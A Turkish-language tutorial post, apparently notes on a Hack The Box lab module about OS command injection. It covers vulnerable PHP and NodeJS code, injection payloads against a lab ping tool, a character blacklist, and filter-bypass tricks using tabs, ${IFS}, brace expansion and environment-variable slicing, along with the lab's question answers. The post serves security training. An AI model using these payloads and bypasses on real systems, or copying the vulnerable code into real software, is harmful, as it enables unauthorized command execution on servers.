COMMAND INJECTIONS

8 months ago 47
BOOK THIS SPACE FOR AD
ARTICLE AD

Miraç Küçük

COMMAND INJECTIONS

Intro to Command Injections

Komut Enjeksiyonu güvenlik açığı, en kritik güvenlik açığı türleri arasındadır. Sistem komutlarını doğrudan back-end barındırma sunucusu üzerinde çalıştırmamıza olanak tanır ve bu da tüm ağın tehlikeye atılmasına neden olabilir. Bir web uygulaması, belirli bir çıktıyı almak ve döndürmek için back-end sunucusunda bir sistem komutu yürütmek üzere kullanıcı kontrollü girdi kullanıyorsa, amaçlanan komutu bozmak ve komutlarımızı yürütmek için kötü amaçlı bir payload enjekte edebiliriz.

Injections Nedir

Enjeksiyon güvenlik açıkları, yüksek etkileri ve ne kadar yaygın oldukları göz önüne alındığında, OWASP’ın En İyi 10 Web Uygulaması Riski arasında 3 numaralı risk olarak kabul edilir. Injection, kullanıcı tarafından kontrol edilen girdinin web sorgusunun veya çalıştırılan kodun bir parçası olarak yanlış yorumlanmasıyla ortaya çıkar ve bu da sorgunun amaçlanan sonucunun saldırgan için yararlı olan farklı bir sonuca dönüştürülmesine yol açabilir.

Yürütülen web sorgusunun türüne bağlı olarak web uygulamalarında bulunan birçok enjeksiyon türü vardır. Aşağıda en yaygın enjeksiyon türlerinden bazıları yer almaktadır:

Yukarıdakiler dışında LDAP Injection, NoSQL Injection, HTTP Header Injection, XPath Injection, IMAP Injection, ORM Injection ve diğerleri gibi birçok başka enjeksiyon türü vardır. Kullanıcı girdisi düzgün bir şekilde sterilize edilmeden bir sorgu içinde kullanıldığında, kullanıcı girdi dizesinin sınırlarından üst sorguya kaçmak ve amacını değiştirmek için manipüle etmek mümkün olabilir. Bu nedenle web uygulamalarına daha fazla web teknolojisi eklendikçe, web uygulamalarına yeni enjeksiyon türlerinin eklendiğini göreceğiz.

PHP Örneği

Örneğin, PHP ile yazılmış bir web uygulaması, doğrudan back-end sunucusunda komut çalıştırmak için exec, system, shell_exec, passthru veya popen işlevlerini kullanabilir ve bunların her biri biraz farklı kullanım durumlarına sahiptir. Aşağıdaki kod, komut enjeksiyonlarına karşı savunmasız olan bir PHP kodu örneğidir:

<?php
if (isset($_GET['filename'])) {
system("touch /tmp/" . $_GET['filename'] . ".pdf");
}
?>

Belki de belirli bir web uygulaması, kullanıcıların /tmp dizininde kullanıcı tarafından sağlanan bir dosya adıyla oluşturulan ve daha sonra web uygulaması tarafından belge işleme amacıyla kullanılabilecek yeni bir .pdf belgesi oluşturmasına olanak tanıyan bir işleve sahiptir. Ancak, GET isteğindeki dosya adı parametresinden gelen kullanıcı girdisi doğrudan touch komutu ile kullanıldığından (önce sterilize edilmeden veya escaped edilmeden), web uygulaması OS komut enjeksiyonuna karşı savunmasız hale gelir. Bu açık, back-end sunucusunda rastgele sistem komutları çalıştırmak için kullanılabilir.

NodeJS Örneği

Bu sadece PHP’ye özgü bir durum olmayıp herhangi bir web geliştirme çatısı veya dilinde ortaya çıkabilir. Örneğin, bir web uygulaması NodeJS’de geliştiriliyorsa, bir geliştirici aynı amaç için child_process.exec veya child_process.spawn kullanabilir. Aşağıdaki örnek, yukarıda tartıştıklarımıza benzer bir işlevi yerine getirmektedir:

app.get("/createfile", function(req, res){
child_process.exec(`touch /tmp/${req.query.filename}.txt`);
})

Yukarıdaki kod, GET isteğinden gelen dosya adı parametresini önce sterilize etmeden komutun bir parçası olarak kullandığından, komut enjeksiyonu güvenlik açığına da açıktır. Hem PHP hem de NodeJS web uygulamaları aynı komut enjeksiyon yöntemleri kullanılarak istismar edilebilir.

Aynı şekilde, diğer web geliştirme programlama dilleri de aynı amaçlar için kullanılan benzer işlevlere sahiptir ve güvenlik açığı varsa, aynı komut enjeksiyon yöntemleri kullanılarak istismar edilebilir. Ayrıca, Komut Enjeksiyonu güvenlik açıkları web uygulamalarına özgü olmayıp, sistem komutlarını yürüten bir işleve sanitize edilmemiş kullanıcı girdisi aktarmaları halinde diğer ikili dosyaları ve kalın istemcileri de etkileyebilir ve bunlar da aynı komut enjeksiyonu yöntemleriyle istismar edilebilir.

Aşağıdaki bölümde web uygulamalarındaki komut enjeksiyonu güvenlik açıklarını tespit etmek ve bunlardan faydalanmak için farklı yöntemler ele alınacaktır.

Algılama

Temel OS Komut Enjeksiyonu güvenlik açıklarını tespit etme süreci, bu tür güvenlik açıklarından yararlanmak için aynı süreçtir. Komutumuzu çeşitli enjeksiyon yöntemleriyle eklemeye çalışırız. Komut çıktısı amaçlanan olağan sonuçtan farklıysa, güvenlik açığından başarıyla yararlanmışız demektir. Bu durum daha gelişmiş komut ekleme güvenlik açıkları için geçerli olmayabilir çünkü potansiyel komut ekleme güvenlik açıklarını tespit etmek için çeşitli fuzzing yöntemleri veya kod incelemeleri kullanabiliriz. Daha sonra komut enjeksiyonu elde edene kadar payload’umuzu kademeli olarak oluşturabiliriz. Bu modül, bir sistem komutunun yürütülmesinde doğrudan kullanılan kullanıcı girdisini herhangi bir sanitizasyon olmadan kontrol ettiğimiz temel komut enjeksiyonlarına odaklanacaktır.

Command Injection Tespiti

Aşağıdaki alıştırmada web uygulamasını ziyaret ettiğimizde, canlı olup olmadığını kontrol etmek için bizden bir IP isteyen bir Host Checker yardımcı programı görüyoruz:

İşlevselliği kontrol etmek için localhost IP 127.0.0.1'i girmeyi deneyebiliriz ve beklendiği gibi, ping komutunun çıktısını bize localhost’un gerçekten canlı olduğunu söyleyerek döndürür:

Her ne kadar web uygulamasının kaynak koduna erişimimiz olmasa da, aldığımız çıktıdan girdiğimiz IP’nin bir ping komutuna girdiğini rahatlıkla tahmin edebiliriz. Sonuç ping komutunda iletilen tek bir paketi gösterdiğine göre kullanılan komut aşağıdaki gibi olabilir:

ping -c 1 OUR_INPUT

Eğer girdimiz ping komutu ile kullanılmadan önce sanitize edilmez ve escaped edilmezse, başka bir keyfi komut enjekte edebiliriz. Öyleyse, web uygulamasının OS komut enjeksiyonuna karşı savunmasız olup olmadığını görmeye çalışalım.

Komut Enjeksiyon Yöntemleri

Amaçlanan komuta ek bir komut eklemek için aşağıdaki operatörlerden herhangi birini kullanabiliriz:

Bu operatörlerden herhangi birini başka bir komutu enjekte etmek için kullanabiliriz, böylece komutların her ikisi veya biri yürütülür. Beklenen girdimizi (örneğin bir IP) yazar, ardından yukarıdaki operatörlerden herhangi birini kullanır ve ardından yeni komutumuzu yazarız.

İpucu: Yukarıdakilere ek olarak, Linux ve macOS’ta çalışacak, ancak Windows’ta çalışmayacak, enjekte edilen komutumuzu çift ters işaretlerle (``) veya bir sub-shell operatörüyle ($()) sarmak gibi sadece unix’e özgü birkaç operatör vardır.

Genel olarak, temel komut enjeksiyonu için, bu operatörlerin tümü web uygulaması dili, framework veya back-end sunucusundan bağımsız olarak komut enjeksiyonları için kullanılabilir. Dolayısıyla, Linux sunucusunda çalışan bir PHP web uygulamasına veya Windows back-end sunucusunda çalışan bir .Net web uygulamasına veya macOS back-end sunucusunda çalışan bir NodeJS web uygulamasına komut enjekte ediyorsak, enjeksiyonlarımız ne olursa olsun çalışmalıdır.

Not: Tek istisna, komut Windows Komut Satırı (CMD) ile çalıştırılıyorsa çalışmayacak, ancak Windows PowerShell ile çalıştırılıyorsa yine de çalışacak olan noktalı virgül ; olabilir.

Bir sonraki bölümde, Host Checker alıştırmasını istismar etmek için yukarıdaki enjeksiyon operatörlerinden birini kullanmaya çalışacağız.

Soru : IP alanındaki ip’den sonra enjeksiyon operatörlerinden herhangi birini eklemeyi deneyin. Hata mesajı ne diyordu (İngilizce)?

Cevap : Please match the requested format.

Komutları Enjekte Etme

Şimdiye kadar Host Checker web uygulamasının komut enjeksiyonlarına karşı potansiyel olarak savunmasız olduğunu tespit ettik ve web uygulamasını istismar etmek için kullanabileceğimiz çeşitli enjeksiyon yöntemlerini tartıştık. Şimdi, komut enjeksiyonu girişimlerimize noktalı virgül operatörü (;) ile başlayalım.

Komutumuzun Enjekte Edilmesi

Giriş IP’miz 127.0.0.1'den sonra bir noktalı virgül ekleyebilir ve ardından komutumuzu (örneğin whoami) ekleyebiliriz, böylece kullanacağımız son payload (127.0.0.1; whoami) olur ve çalıştırılacak son komut şu şekilde olur:

ping -c 1 127.0.0.1; whoami

İlk olarak, çalıştığından emin olmak için yukarıdaki komutu Linux sanal makinemizde çalıştırmayı deneyelim:

21y4d@htb[/htb]$ ping -c 1 127.0.0.1; whoami

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=1.03 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.034/1.034/1.034/0.000 ms
21y4d

Gördüğümüz gibi, son komut başarıyla çalışıyor ve her iki komutun da çıktısını alıyoruz (önceki tabloda belirtildiği gibi ;). Şimdi, önceki payload’umuzu Host Checker web uygulamasında kullanmayı deneyebiliriz:

Gördüğümüz gibi, web uygulaması girdimizi reddetti, çünkü yalnızca IP biçiminde girdi kabul ediyor gibi görünüyor. Ancak, hata mesajına bakılırsa, back-end’den ziyade front-end’den kaynaklanıyor gibi görünüyor. Network sekmesini göstermek için [CTRL + SHIFT + E] tuşlarına tıklayarak ve ardından Check düğmesine tekrar tıklayarak Firefox Developer Tools ile bunu iki kez kontrol edebiliriz:

Gördüğümüz gibi, Check düğmesine tıkladığımızda yeni bir ağ isteği yapılmadı, ancak bir hata mesajı aldık. Bu, kullanıcı girişi doğrulamasının front-end’de gerçekleştiğini gösterir.

Bu, yalnızca IP biçiminde kullanıcı girdisine izin vererek kötü amaçlı payload’lar göndermemizi engellemeye yönelik bir girişim gibi görünüyor. Ancak, geliştiricilerin yalnızca front-end’de girdi doğrulaması yaparken, back-end’de girdiyi doğrulamaması veya sterilize etmemesi çok yaygındır. Bu, front-end ve back-end üzerinde çalışan iki farklı ekibin olması veya kötü amaçlı payload’ları önlemek için front-end doğrulamasına güvenmek gibi çeşitli nedenlerle ortaya çıkar.

Ancak, göreceğimiz gibi, front-end doğrulamaları genellikle enjeksiyonları önlemek için yeterli değildir, çünkü doğrudan back-end’e özel HTTP istekleri göndererek çok kolay bir şekilde atlanabilirler.

Front-End Doğrulamasını Atlama

Back-end sunucusuna gönderilen HTTP isteklerini özelleştirmenin en kolay yöntemi, uygulama tarafından gönderilen HTTP isteklerini kesebilecek bir web proxy kullanmaktır. Bunu yapmak için Burp Suite veya ZAP’ı başlatabilir ve Firefox’u trafiği bunlar üzerinden proxy’lemek üzere yapılandırabiliriz. Ardından, proxy yakalama özelliğini etkinleştirebilir, web uygulamasından herhangi bir IP ile (örneğin 127.0.0.1) standart bir istek gönderebilir ve [CTRL + R] tuşlarına tıklayarak yakalanan HTTP isteğini repeater’a gönderebiliriz ve özelleştirme için HTTP isteğine sahip olmalıyız:

Burp POST Request

Şimdi HTTP isteğimizi özelleştirebilir ve web uygulamasının bunu nasıl ele aldığını görmek için gönderebiliriz. Aynı önceki payload’u (127.0.0.1; whoami) kullanarak başlayacağız. Ayrıca, istediğimiz gibi gönderildiğinden emin olmak için payload’umuzu URL-encode etmeliyiz. Bunu yükü seçip [CTRL + U] tuşlarına tıklayarak yapabiliriz. Son olarak, HTTP isteğimizi göndermek için Send (Gönder) düğmesine tıklayabiliriz:

Burp POST Request

Gördüğümüz gibi, bu sefer aldığımız yanıt ping komutunun çıktısını ve whoami komutunun sonucunu içeriyor, yani yeni komutumuzu başarıyla enjekte ettik.

Soru : Front-end giriş doğrulamasının nerede gerçekleştiğini bulmak için sayfanın HTML kaynak kodunu inceleyin. Hangi satır numarasında?

Cevap :17

Diğer Enjeksiyon Operatörleri

Devam etmeden önce, diğer birkaç enjeksiyon operatörünü deneyelim ve web uygulamasının bunları ne kadar farklı ele alacağını görelim.

AND Operator

AND (&&) operatörü ile başlayabiliriz, böylece son payloadumuz (127.0.0.1 && whoami) olur ve son çalıştırılan komut aşağıdaki gibi olur:

ping -c 1 127.0.0.1 && whoami

Her zaman yapmamız gerektiği gibi, çalışan bir komut olduğundan emin olmak için önce Linux VM’mizde komutu çalıştırmayı deneyelim:

21y4d@htb[/htb]$ ping -c 1 127.0.0.1 && whoami

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=1.03 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.034/1.034/1.034/0.000 ms
21y4d

Gördüğümüz gibi, komut çalışıyor ve daha önce aldığımız çıktının aynısını alıyoruz. Önceki bölümdeki enjeksiyon operatörleri tablosuna bakmayı deneyin ve && operatörünün nasıl farklı olduğunu görün (eğer bir IP yazmazsak ve doğrudan && ile başlarsak, komut yine de çalışır mı?)

Şimdi, payload’umuzu kopyalayarak, Burp Suite’teki HTTP isteğimize yapıştırarak, URL kodlayarak ve son olarak göndererek daha önce yaptığımızın aynısını yapabiliriz:

Gördüğümüz gibi, komutumuzu başarıyla enjekte ettik ve her iki komutun da beklenen çıktısını aldık.

OR Operator

Son olarak, OR (||) enjeksiyon operatörünü deneyelim. OR operatörü yalnızca ilk komutun çalışmaması durumunda ikinci komutu çalıştırır. Bu, her iki komutun da çalışmasını sağlamanın sağlam bir yolu olmadan enjeksiyonumuzun orijinal komutu bozacağı durumlarda bizim için yararlı olabilir. Dolayısıyla, OR operatörünü kullanmak, ilk komutun başarısız olması halinde yeni komutumuzun çalışmasını sağlayacaktır.

Normal yükümüzü || operatörü ile kullanmaya çalışırsak (127.0.0.1 || whoami), yalnızca ilk komutun çalışacağını göreceğiz:

21y4d@htb[/htb]$ ping -c 1 127.0.0.1 || whoami

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.635 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.635/0.635/0.635/0.000 ms

Bunun nedeni bash komutlarının çalışma şeklidir. İlk komut başarılı bir şekilde yürütüldüğünü gösteren çıkış kodu 0'ı döndürdüğünde, bash komutu durur ve diğer komutu denemez. Yalnızca ilk komut başarısız olursa ve çıkış kodu 1 döndürürse diğer komutu çalıştırmayı deneyecektir.

HTTP isteğinde yukarıdaki payload’u kullanmayı deneyin ve web uygulamasının bunu nasıl ele aldığını görün.

İlk komutu bir IP sağlamayarak ve doğrudan || operatörünü (|| whoami) kullanarak kasıtlı olarak bozmayı deneyelim, böylece ping komutu başarısız olur ve enjekte edilen komutumuz çalıştırılır:

21y4d@htb[/htb]$ ping -c 1 || whoami

ping: usage error: Destination address required
21y4d

Gördüğümüz gibi, ping komutu başarısız olduktan ve bize bir hata mesajı verdikten sonra bu sefer whoami komutu çalıştı. Şimdi HTTP isteğimizdeki (|| whoami) payload’unu deneyelim:

Bu sefer beklendiği gibi sadece ikinci komutun çıktısını aldığımızı görüyoruz. Bununla, çok daha basit bir payload kullanıyoruz ve çok daha temiz bir sonuç elde ediyoruz.

Bu tür operatörler SQL enjeksiyonları, LDAP enjeksiyonları, XSS, SSRF, XML vb. gibi çeşitli enjeksiyon türleri için kullanılabilir. Enjeksiyonlar için kullanılabilecek en yaygın operatörlerin bir listesini oluşturduk:

Bu tablonun eksik olduğunu ve başka birçok seçenek ve operatörün mümkün olduğunu unutmayın. Ayrıca büyük ölçüde çalıştığımız ve test ettiğimiz ortama da bağlıdır.

Bu modülde, esas olarak girdimizin doğrudan sistem komutuna gittiği ve komutun çıktısını aldığımız doğrudan komut enjeksiyonları ile ilgileniyoruz.

Soru : Kalan üç enjeksiyon operatörünü (new-line, &, |) kullanmayı deneyin ve her birinin nasıl çalıştığını ve çıktının nasıl farklılaştığını görün. Hangisi yalnızca enjekte edilen komutun çıktısını gösterir?

Cevap : |

1-

& için :

| için :

Filtrelerin Tanımlanması

Önceki bölümde gördüğümüz gibi, geliştiriciler web uygulamasını enjeksiyonlara karşı korumaya çalışsa bile, güvenli bir şekilde kodlanmamışsa yine de istismar edilebilir olabilir. Başka bir enjeksiyon azaltma türü de enjeksiyon girişimlerini tespit etmek ve herhangi bir istek bunları içeriyorsa isteği reddetmek için back-end’de blacklisted karakterleri ve kelimeleri kullanmaktır. Bunun üzerindeki bir başka katman ise daha geniş bir kapsama ve çeşitli enjeksiyon tespit yöntemlerine sahip olabilen ve SQL enjeksiyonları veya XSS saldırıları gibi çeşitli diğer saldırıları önleyebilen Web Uygulaması Güvenlik Duvarlarını (WAF’lar) kullanmaktır.

Bu bölümde komut enjeksiyonlarının nasıl tespit edilip engellenebileceğine ve neyin engellendiğini nasıl tespit edebileceğimize dair birkaç örnek incelenecektir.

Filtre/WAF Algılama

Bu bölümün sonundaki alıştırmada yer alan web uygulamasını ziyaret ederek başlayalım. İstismar ettiğimiz Host Checker web uygulamasının aynısını görüyoruz, ancak şimdi kolunda birkaç hafifletme var. Test ettiğimiz (;, &&, ||) gibi önceki operatörleri denediğimizde geçersiz girdi hata mesajını aldığımızı görebiliriz:

Bu, gönderdiğimiz bir şeyin, isteğimizi reddeden bir güvenlik mekanizmasını tetiklediğini gösterir. Bu hata mesajı çeşitli şekillerde görüntülenebilir. Bu durumda, çıktının görüntülendiği alanda görüyoruz, bu da PHP web uygulamasının kendisi tarafından tespit edildiği ve engellendiği anlamına geliyor. Hata mesajı, IP’miz ve isteğimiz gibi bilgileri içeren farklı bir sayfa görüntülediyse, bu, bir WAF tarafından reddedildiğini gösterebilir.

Gönderdiğimiz payload’u kontrol edelim:

127.0.0.1; whoami

IP dışında (blacklisted olmadığını biliyoruz), gönderdik:

Noktalı virgül karakteri ;Bir boşluk karakteriBir whoami komutu

Yani, web uygulaması ya blacklisted bir karakter algıladı ya da blacklisted bir komut algıladı ya da her ikisi de. Şimdi her ikisini de nasıl atlatacağımızı görelim.

Blacklisted Characters

Bir web uygulaması blacklisted karakterlerin bir listesine sahip olabilir ve komut bunları içeriyorsa isteği reddeder. PHP kodu aşağıdaki gibi görünebilir:

$blacklist = ['&', '|', ';', ...SNIP...];
foreach ($blacklist as $character) {
if (strpos($_POST['ip'], $character) !== false) {
echo "Invalid input";
}
}

Gönderdiğimiz dizedeki herhangi bir karakter blacklsit’deki bir karakterle eşleşirse, isteğimiz reddedilir. Filtreyi atlama girişimlerimize başlamadan önce, reddedilen isteğe hangi karakterin neden olduğunu belirlemeye çalışmalıyız.

Blacklisted Alınan Karakterin Belirlenmesi

İsteğimizi her seferinde bir karaktere indirgeyelim ve ne zaman engellendiğini görelim. (127.0.0.1) payload’unun çalıştığını biliyoruz, bu yüzden noktalı virgül (127.0.0.1;) ekleyerek başlayalım:

Hala “invalid input” hatası alıyoruz, bu da noktalı virgülün blacklist’te olduğu anlamına geliyor. Öyleyse, daha önce tartıştığımız tüm enjeksiyon operatörlerinin blacklist’e alınıp alınmadığını görelim.

Soru : Herhangi birinin blacklist edilmediğini görmek için diğer tüm enjeksiyon operatörlerini deneyin. Hangisi (new-line, &, |) web uygulaması tarafından blacklist edilmemiştir?

Cevap : new-line

& için :

| için :

new-line için (\n %0a)

Bypass Space Filtreleri

Enjeksiyon girişimlerini tespit etmenin çok sayıda yolu ve bu tespitleri atlatmanın birden fazla yöntemi vardır. Algılama kavramını ve baypas etmenin nasıl çalıştığını örnek olarak Linux kullanarak göstereceğiz. Bu baypaslardan nasıl yararlanacağımızı ve sonunda bunları nasıl önleyebileceğimizi öğreneceğiz. Nasıl çalıştıklarını iyice kavradıktan sonra, diğer bypass türlerini keşfetmek ve bunları nasıl hafifleteceğimizi öğrenmek için internetteki çeşitli kaynakları inceleyebiliriz.

Bypass Blacklisted Operators

Enjeksiyon operatörlerinin çoğunun gerçekten de blacklist’eye alındığını göreceğiz. Bununla birlikte, new-line karakteri genellikle blacklist’e alınmaz, çünkü payload’un kendisinde gerekli olabilir. New-line karakterinin hem Linux’ta hem de Windows’ta komutlarımızı eklemede işe yaradığını biliyoruz, bu yüzden onu enjeksiyon operatörümüz olarak kullanmayı deneyelim:

Gördüğümüz gibi, payload’umuz bir new-line karakteri içermesine rağmen, isteğimiz reddedilmedi ve ping komutunun çıktısını aldık, bu da bu karakterin blacklisted olmadığı anlamına geliyor ve bunu enjeksiyon operatörümüz olarak kullanabiliriz. Yaygın olarak blacklist’e alınmış bir karakter olan boşluk karakterini nasıl atlayacağımızı tartışarak başlayalım.

Bypass Blacklisted Spaces

Artık çalışan bir enjeksiyon operatörümüz olduğuna göre, orijinal payload’umuzu değiştirelim ve (127.0.0.1%0a whoami) olarak tekrar gönderelim:

Gördüğümüz gibi, hala bir invalid input hata mesajı alıyoruz, bu da hala atlamamız gereken başka filtreler olduğu anlamına geliyor. Bu nedenle, daha önce yaptığımız gibi, yalnızca bir sonraki karakteri (boşluk olan) ekleyelim ve bunun reddedilen isteğe neden olup olmadığını görelim:

Gördüğümüz gibi, boşluk karakteri de gerçekten blacklist’e alınmış. Boşluk genellikle blacklist’e alınmış bir karakterdir. Yine de, boşluk karakterini gerçekten kullanmadan boşluk karakteri eklemenin birçok yolu vardır!

Using Tabs

Boşluk yerine sekme (%09) kullanmak işe yarayabilecek bir tekniktir, çünkü hem Linux hem de Windows argümanlar arasında tab olan komutları kabul eder ve aynı şekilde çalıştırılırlar. Öyleyse, boşluk karakteri yerine bir tab kullanmayı deneyelim (127.0.0.1%0a%09) ve isteğimizin kabul edilip edilmediğini görelim:

Gördüğümüz gibi, bunun yerine bir tab kullanarak boşluk karakteri filtresini başarıyla atladık. Boşluk karakterlerini değiştirmenin başka bir yöntemini görelim.

Using $IFS

($IFS) Linux Ortam Değişkenini kullanmak da işe yarayabilir, çünkü varsayılan değeri komut argümanları arasında çalışacak bir boşluk ve bir sekmedir. Yani, eğer ${IFS} kullanırsak boşlukların olması gereken yerde, değişken otomatik olarak bir boşlukla değiştirilmeli ve komutumuz çalışmalıdır.

${IFS} kullanalım ve çalışıp çalışmadığına bakın (127.0.0.1%0a${IFS}):

Talebimizin bu kez reddedilmediğini ve boşluk filtresini yine atladığımızı görüyoruz.

Brace Genişlemesini Kullanma

Boşluk filtrelerini atlamak için kullanabileceğimiz başka birçok yöntem vardır. Örneğin, parantezler arasına sarılmış argümanlar arasına otomatik olarak boşluk ekleyen Bash Brace Expansion özelliğini aşağıdaki gibi kullanabiliriz:

M1R4CKCK@htb[/htb]$ {ls,-la}

total 0
drwxr-xr-x 1 21y4d 21y4d 0 Jul 13 07:37 .
drwxr-xr-x 1 21y4d 21y4d 0 Jul 13 13:01 ..

Gördüğümüz gibi, komut içinde boşluk olmadan başarıyla çalıştırıldı. Aynı yöntemi, komut argümanlarımızda (127.0.0.1%0a{ls,-la}) gibi parantez genişletmesi kullanarak komut enjeksiyon filtresi atlamalarında da kullanabiliriz. Daha fazla boşluk filtresi atlatma yöntemi keşfetmek için boşluksuz komut yazma hakkındaki PayloadsAllTheThings sayfasına göz atın.

Soru : Bu bölümde öğrendiklerinizi ‘ls -la’ komutunu çalıştırmak için kullanın. ‘index.php’ dosyasının boyutu nedir?

Cevap :

1- Öncelikle new-line ‘nın çalışığ çalışmadığını tespit edelim .

2- New-line çalışıyor. Şimdi $IFS ‘in çalışıp çalımadığını kontrol edelim .

3- $IFS ‘inde çalıştığını görüyoruz . Son olarak ls -la komutunu $IFS içine yazalım ve cevabımızı bulalım .

Diğer Blaclist Karakterleri Atlama

Enjeksiyon operatörleri ve boşluk karakterlerinin yanı sıra, Linux veya Windows’ta dizinleri belirtmek için gerekli olduğu için çok yaygın olarak blacklist’e alınan bir karakter eğik çizgi (/) veya ters eğik çizgi (\) karakteridir. Blacklist karakterlerini kullanmaktan kaçınırken istediğimiz karakteri üretmek için çeşitli teknikler kullanabiliriz.

Linux

Payload’umuzda eğik çizgiler bulundurmak için kullanabileceğimiz birçok teknik vardır. Eğik çizgileri (veya başka herhangi bir karakteri) değiştirmek için kullanabileceğimiz tekniklerden biri ${IFS} ile yaptığımız gibi Linux Ortam Değişkenleridir. Bununla birlikte ${IFS} doğrudan bir boşlukla değiştirilir, eğik çizgiler veya noktalı virgüller için böyle bir ortam değişkeni yoktur. Bununla birlikte, bu karakterler bir ortam değişkeninde kullanılabilir ve dizgimizin başlangıcını ve uzunluğunu bu karakterle tam olarak eşleşecek şekilde belirleyebiliriz.

Örneğin, Linux’ta $PATH ortam değişkenine bakarsak, aşağıdaki gibi bir şey görünebilir:

M1R4CKCK@htb[/htb]$ echo ${PATH}

/usr/local/bin:/usr/bin:/bin:/usr/games

Dolayısıyla, 0 karakterinden başlarsak ve yalnızca 1 uzunluğunda bir dize alırsak, yalnızca / karakteriyle sonuçlanırız ve bu karakteri payload’umuzda kullanabiliriz:

M1R4CKCK@htb[/htb]$ echo ${PATH:0:1}

/

Not: Yukarıdaki komutu payload’umuzda kullandığımızda, echo eklemeyeceğiz, çünkü bu durumda sadece çıktılanan karakteri göstermek için kullanıyoruz.

Aynı şeyi $HOME veya $PWD ortam değişkenleri için de yapabiliriz. Aynı kavramı, enjeksiyon operatörü olarak kullanılmak üzere noktalı virgül karakteri elde etmek için de kullanabiliriz. Örneğin, aşağıdaki komut bize bir noktalı virgül verir:

M1R4CKCK@htb[/htb]$ echo ${LS_COLORS:10:1}

;

İpucu: printenv komutu Linux’taki tüm ortam değişkenlerini yazdırır, böylece hangilerinin yararlı karakterler içerebileceğine bakabilir ve ardından dizeyi yalnızca bu karaktere indirgemeye çalışabilirsiniz.

$ printenv
SHELL=/bin/bash
SESSION_MANAGER=local/htb-wnjtwx4x3h:@/tmp/.ICE-unix/1982,unix/htb-wnjtwx4x3h:/tmp/.ICE-unix/1982
WINDOWID=48234502
QT_ACCESSIBILITY=1
COLORTERM=truecolor
SUDO_GID=0
GNOME_KEYRING_CONTROL=/home/htb-ac-961525/.cache/keyring-VNF8K2
..SNIP..

Şimdi, ortam değişkenlerini kullanarak payload’umuza noktalı virgül ve boşluk ekleyelim (127.0.0.1${LS_COLORS:10:1}${IFS}) ve filtreyi atlatıp atlatamayacağımıza bakalım:

Gördüğümüz gibi, bu sefer de karakter filtresini başarıyla atlattık.

Windows

Aynı kavram Windows üzerinde de çalışır. Örneğin, Windows Komut Satırında (CMD) bir eğik çizgi üretmek için, bir Windows değişkenini (%HOMEPATH% -> \Users\htb-student) yankılayabilir ve ardından bir başlangıç konumu (~6 -> \htb-student) ve son olarak negatif bir bitiş konumu belirtebiliriz, bu durumda htb-student kullanıcı adının uzunluğu (-11 -> \) :

C:\htb> echo %HOMEPATH:~6,-11%

\

Windows PowerShell’de aynı değişkenleri kullanarak aynı şeyi başarabiliriz. PowerShell’de bir word bir dizi olarak kabul edilir, bu nedenle ihtiyacımız olan karakterin indeksini belirtmemiz gerekir. Yalnızca bir karaktere ihtiyacımız olduğundan, başlangıç ve bitiş konumlarını belirtmemiz gerekmez:

PS C:\htb> $env:HOMEPATH[0]

\

PS C:\htb> $env:PROGRAMFILES[10]
PS C:\htb>

Ayrıca Get-ChildItem Env: PowerShell komutunu kullanarak tüm ortam değişkenlerini yazdırabilir ve ardından ihtiyacımız olan karakteri üretmek için bunlardan birini seçebiliriz. Yaratıcı olmaya çalışın ve benzer karakterler üretmek için farklı komutlar bulun.

PS C:\Users\assem> Get-ChildItem Env:

Name Value
---- -----
ALLUSERSPROFILE C:\ProgramData
APPDATA C:\Users\assem\AppData\Roaming
CommonProgramFiles C:\Program Files\Common Files
CommonProgramFiles(x86) C:\Program Files (x86)\Common Files
CommonProgramW6432 C:\Program Files\Common Files
COMPUTERNAME DESKTOP-RJ644SA
ComSpec C:\Windows\system32\cmd.exe
DriverData C:\Windows\System32\Drivers\DriverData
HOMEDRIVE C:
HOMEPATH \Users\assem
LOCALAPPDATA C:\Users\assem\AppData\Local
LOGONSERVER \\DESKTOP-RJ644SA
NUMBER_OF_PROCESSORS 8
OneDrive C:\Users\assem\OneDrive
..SNIP..

Karakter Değiştirme

Gerekli karakterleri kullanmadan üretmek için karakter kaydırma gibi başka teknikler de vardır. Örneğin, aşağıdaki Linux komutu verdiğimiz karakteri 1 kaydırır. Bu yüzden, tek yapmamız gereken ASCII tablosunda ihtiyacımız olan karakterden hemen önceki karakteri bulmak (man ascii ile bulabiliriz) ve aşağıdaki örnekte [ yerine eklemektir. Bu şekilde, yazdırılan son karakter ihtiyacımız olan karakter olacaktır:

M1R4CKCK@htb[/htb]$ man ascii # \ is on 92, before it is [ on 91
M1R4CKCK@htb[/htb]$ echo $(tr '!-}' '"-~'<<<[)

\

Windows’ta aynı sonucu elde etmek için PowerShell komutlarını kullanabiliriz, ancak bunlar Linux’takilerden oldukça uzun olabilir.

Soru : ‘/home’ klasöründeki kullanıcının adını bulmak için bu bölümde öğrendiklerinizi kullanın. Hangi kullanıcıyı buldunuz?

Cevap :

1- new-line’nın çalışıp çalışmadığını kontrol edelim .

2- new-line çalışıyor . $IFS ‘in çalışıp çalışmadığını kontrol edelim .

3- new-line ve $IFS çalışıyor. Soruyu çözmek ls komutu ile /home klasörünü görmemiz lazım . Önceki bölümde ls komutu çalıştırmaya çalışalım .

4- Gördüğümüz gibi çalışıyor kalan ifadeler /home dizinini yazdırmak .

/ ifadesi → echo ${PATH:0:1} ile

yazdırabiliriz.

Blacklisted Komutları Atlama

Tek karakterli filtreleri atlamak için çeşitli yöntemlerden bahsettik. Ancak, blacklist’e alınmış komutları atlamak söz konusu olduğunda farklı yöntemler vardır. Bir komut blacklist’eye genellikle bir dizi kelimeden oluşur ve eğer komutlarımızı gizleyebilir ve farklı görünmelerini sağlayabilirsek, filtreleri atlatabiliriz.

